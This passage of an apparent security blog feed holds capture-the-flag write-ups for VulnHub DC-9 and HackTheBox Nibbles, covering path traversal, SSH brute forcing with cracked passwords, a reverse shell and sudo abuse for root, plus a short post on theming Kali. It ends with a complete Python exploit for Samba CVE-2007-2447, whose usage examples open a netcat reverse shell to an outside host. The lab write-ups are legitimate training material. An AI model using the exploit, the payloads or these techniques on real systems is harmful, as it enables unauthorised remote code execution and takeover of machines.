&lt;p&gt;&lt;img src=&quot;/assets/images/vh/dc9/error.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;lfi&quot;&gt;LFI&lt;/h3&gt;

&lt;p&gt;After messing with URL a bit, I’ve discovered LFI.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/vh/dc9/lfi.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After A LOT of poking around I’ve found &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;knockd.conf&lt;/code&gt; file at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/welcome.php?file=../../../../../../etc/knockd.conf&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/vh/dc9/kfile.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;According to this file, SSH is enabled. I just need to knock on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;7469,8475,9842&lt;/code&gt; porst in that order.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;x &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;7469 8475 9842l &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;nmap &lt;span class=&quot;nt&quot;&gt;-Pn&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--host_timeout&lt;/span&gt; 201 &lt;span class=&quot;nt&quot;&gt;--max-retries&lt;/span&gt; 0 &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$x&lt;/span&gt; 192.168.2.125&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After knocking on those port 22 becomes open.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap -p 22 192.168.2.125&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PORT   STATE SERVICE
22/tcp open  ssh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I’ve compiled all creds from the database, generated wordlists from them and used them to bruteforce SSH.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hydra -L users.txt -P passwds.txt 192.168.2.125 ssh&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[22][ssh] host: 192.168.2.125   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.2.125   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.2.125   login: janitor   password: Ilovepeepee
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;privesc&quot;&gt;PrivEsc&lt;/h2&gt;

&lt;p&gt;In janitor’s home folder there is a hidden folder called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.secrets-for-putin&lt;/code&gt; in which there is a password list.&lt;/p&gt;

&lt;p&gt;Testing those password with user from the database we get new valid credentials for SSH &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fredf:B4-Tru3-001&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;fredf user can execute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/opt/devstuff/dist/test/test&lt;/code&gt; as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;fredf@dc-9:~$ sudo -l
Matching Defaults entries for fredf on dc-9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fredf may run the following commands on dc-9:
    (root) NOPASSWD: /opt/devstuff/dist/test/test
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;While executing this file asks for a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file&lt;/code&gt; and a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;append&lt;/code&gt;. This binary takes a file and appends it to the other. I just created a file with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fredf ALL=(ALL) ALL&lt;/code&gt; and appended it to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/sudoers&lt;/code&gt; to give &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fredf&lt;/code&gt; user ALL sudo privileges.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;fredf@dc-9:~$ echo 'fredf ALL=(ALL) ALL' &amp;gt; test
fredf@dc-9:~$ sudo /opt/devstuff/dist/test/test /home/fredf/test /etc/sudoers
fredf@dc-9:~$ sudo su
root@dc-9:~# 
root@dc-9:~# id
uid=0(root) gid=0(root) groups=0(root)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Got root!&lt;/p&gt;</content><author><name>Ziemni</name></author><category term="sqli" /><category term="lfi" /><category term="bruteforce" /><category term="sudo" /><summary type="html">DC-9 is a simple boot2root machine. Forced me to learn manual sqli and think outside the box with sudo.</summary></entry><entry><title type="html">Make your Kali look retro</title><link href="https://blog.ziemni.com/random/make-your-kali-look-retro/" rel="alternate" type="text/html" title="Make your Kali look retro" /><published>2021-04-06T00:00:00+02:00</published><updated>2021-04-06T00:00:00+02:00</updated><id>https://blog.ziemni.com/random/make-your-kali-look-retro</id><content type="html" xml:base="https://blog.ziemni.com/random/make-your-kali-look-retro/">&lt;p&gt;I love retro aesthetic and I’ve recently decided to transform my Kali into OS of my dreams.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/retro/kali.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;GTK: &lt;a href=&quot;https://www.gnome-look.org/p/1173216/&quot;&gt;Belle Pintos Grande&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Xfwm: &lt;a href=&quot;https://www.xfce-look.org/p/1016093&quot;&gt;Mofit-slim&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Icons Pack: &lt;a href=&quot;https://github.com/grassmunk/Chicago95&quot;&gt;Chicago95&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Wallpaper: &lt;a href=&quot;/assets/images/retro/wallpaper.jpg&quot;&gt;HERE&lt;/a&gt; (I don’t know the original author)&lt;/p&gt;</content><author><name>Ziemni</name></author><category term="kali" /><category term="retro" /><summary type="html">I love retro aesthetic and I've recently decided to transform my Kali into OS of my dreams.</summary></entry><entry><title type="html">[HackTheBox] Nibbles</title><link href="https://blog.ziemni.com/writeup/hackthebox/htb-nibbles/" rel="alternate" type="text/html" title="[HackTheBox] Nibbles" /><published>2021-03-23T00:00:00+01:00</published><updated>2021-03-23T00:00:00+01:00</updated><id>https://blog.ziemni.com/writeup/hackthebox/htb-nibbles</id><content type="html" xml:base="https://blog.ziemni.com/writeup/hackthebox/htb-nibbles/">&lt;p&gt;&lt;img src=&quot;/assets/images/HTB/Nibbles/card.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This box requires very basic pentesting skills to exploit. Starts with rce and ends with sudo.&lt;/p&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;Check source code of the main page.&lt;/li&gt;
  &lt;li&gt;Guess admin’s password on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin.php&lt;/code&gt; page.&lt;/li&gt;
  &lt;li&gt;Use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVE-2015-6967&lt;/code&gt; to get a reverse shell.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo -l&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;recon&quot;&gt;Recon&lt;/h2&gt;
&lt;h3 id=&quot;port-scan&quot;&gt;Port Scan&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap -p- -sV -T4 10.10.10.75&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h2&gt;
&lt;h3 id=&quot;nibbleblog&quot;&gt;NibbleBlog&lt;/h3&gt;

&lt;p&gt;Checking source code reveals a comment with a directory of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NibbleBlog&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;&amp;lt;!-- /nibbleblog/ directory. Nothing interesting here! --&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Scanning the blog with nikto reveal an admin login page.
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nikto -h http://10.10.10.75/nibbleblog/&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;+ OSVDB-29786: /nibbleblog/admin.php?en_log_id=0&amp;amp;action=config: EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This PHP file should be protected.
+ OSVDB-29786: /nibbleblog/admin.php?en_log_id=0&amp;amp;action=users: EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This PHP file should be protected.
+ OSVDB-3268: /nibbleblog/admin/: Directory indexing found.
+ OSVDB-3092: /nibbleblog/admin.php: This might be interesting...
+ OSVDB-3092: /nibbleblog/admin/: This might be interesting...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running hydra or sqlmap on the page blocks you so we need to guess the password. After a bit of trial and error, I found that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nibbles&lt;/code&gt; works as a password for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin&lt;/code&gt; account.&lt;/p&gt;

&lt;p&gt;Now we can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVE-2015-6967&lt;/code&gt; to get a reverse shell. The link to the exploit can be found &lt;a href=&quot;https://curesec.com/blog/article/blog/NibbleBlog-403-Code-Execution-47.html&quot;&gt;HERE&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;connect to &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;10.10.14.19] from &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;UNKNOWN&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;10.10.10.75] 47436
Linux Nibbles 4.4.0-104-generic &lt;span class=&quot;c&quot;&gt;#127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux&lt;/span&gt;
 09:54:01 up  1:08,  0 &lt;span class=&quot;nb&quot;&gt;users&lt;/span&gt;,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1001&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;nibbler&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1001&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;nibbler&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1001&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;nibbler&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
/bin/sh: 0: can&lt;span class=&quot;s1&quot;&gt;'t access tty; job control turned off
$ 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;privilege-escalation&quot;&gt;Privilege Escalation&lt;/h2&gt;

&lt;p&gt;Running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo -l&lt;/code&gt; reveal that we can execute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/home/nibbler/personal/stuff/monitor.sh&lt;/code&gt; as root.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo -l&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The file does not exist, but we have write permissions to the directory so we can create it.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;echo &quot;/bin/bash&quot; &amp;gt; /home/nibbler/personal/stuff/monitor.sh&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;And running it gives us root shell.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo /home/nibbler/personal/stuff/monitor.sh&lt;/code&gt;&lt;/p&gt;</content><author><name>Ziemni</name></author><category term="rce" /><category term="sudo" /><summary type="html">This box requires very basic pentesting skills to exploit. Starts with rce and ends with sudo.</summary></entry><entry><title type="html">CVE-2007-2447 in Python</title><link href="https://blog.ziemni.com/cve/CVE-2007-2447-in-Python/" rel="alternate" type="text/html" title="CVE-2007-2447 in Python" /><published>2021-02-21T00:00:00+01:00</published><updated>2021-02-21T00:00:00+01:00</updated><id>https://blog.ziemni.com/cve/CVE-2007-2447-in-Python</id><content type="html" xml:base="https://blog.ziemni.com/cve/CVE-2007-2447-in-Python/">&lt;p&gt;&lt;a href=&quot;https://github.com/Ziemni/CVE-2007-2447-in-Python&quot;&gt;GitHub Link&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;description&quot;&gt;Description&lt;/h2&gt;
&lt;p&gt;Python implementation of ‘Username’ map script’ RCE Exploit for Samba 3.0.20 &amp;lt; 3.0.25rc3 (CVE-2007-2447).&lt;/p&gt;

&lt;h2 id=&quot;usage&quot;&gt;Usage&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python3 smbExploit.py &amp;lt;IP&amp;gt; &amp;lt;PORT&amp;gt; &amp;lt;PAYLOAD&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;IP - Ip of the remote machine.&lt;/li&gt;
  &lt;li&gt;PORT - (Optional) Port that smb is running on.&lt;/li&gt;
  &lt;li&gt;PAYLOAD - Payload to be executed on the remote machine e.g. reverse shell.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Examples:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444'
python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;code&quot;&gt;Code&lt;/h2&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#
#        Samba 3.0.20 &amp;lt; 3.0.25rc3
#   'Username' map script' RCE Exploit
#               by Ziemni
#
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/python3
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;smb.SMBConnection&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SMBConnection&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;except&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;pysmb is not installed: python3 -m pip install pysmb&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;quit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Usage:&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;    python3 smbExploit.py &amp;lt;IP&amp;gt; &amp;lt;PORT&amp;gt; &amp;lt;PAYLOAD&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;       IP - Ip of the remote machine.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;       PORT - (Optional) Port that smb is running on.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;       PAYLOAD - Payload to be executed on the remote machine e.g. reverse shell.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Example: python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444'&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;quit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;139&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;`&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;`&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SMBConnection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;na&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;na&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;na&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;use_ntlm_v2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[*] Sending the payload&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[*] Payload was send successfully&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;quit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[*] Something went wrong&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ERROR:&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
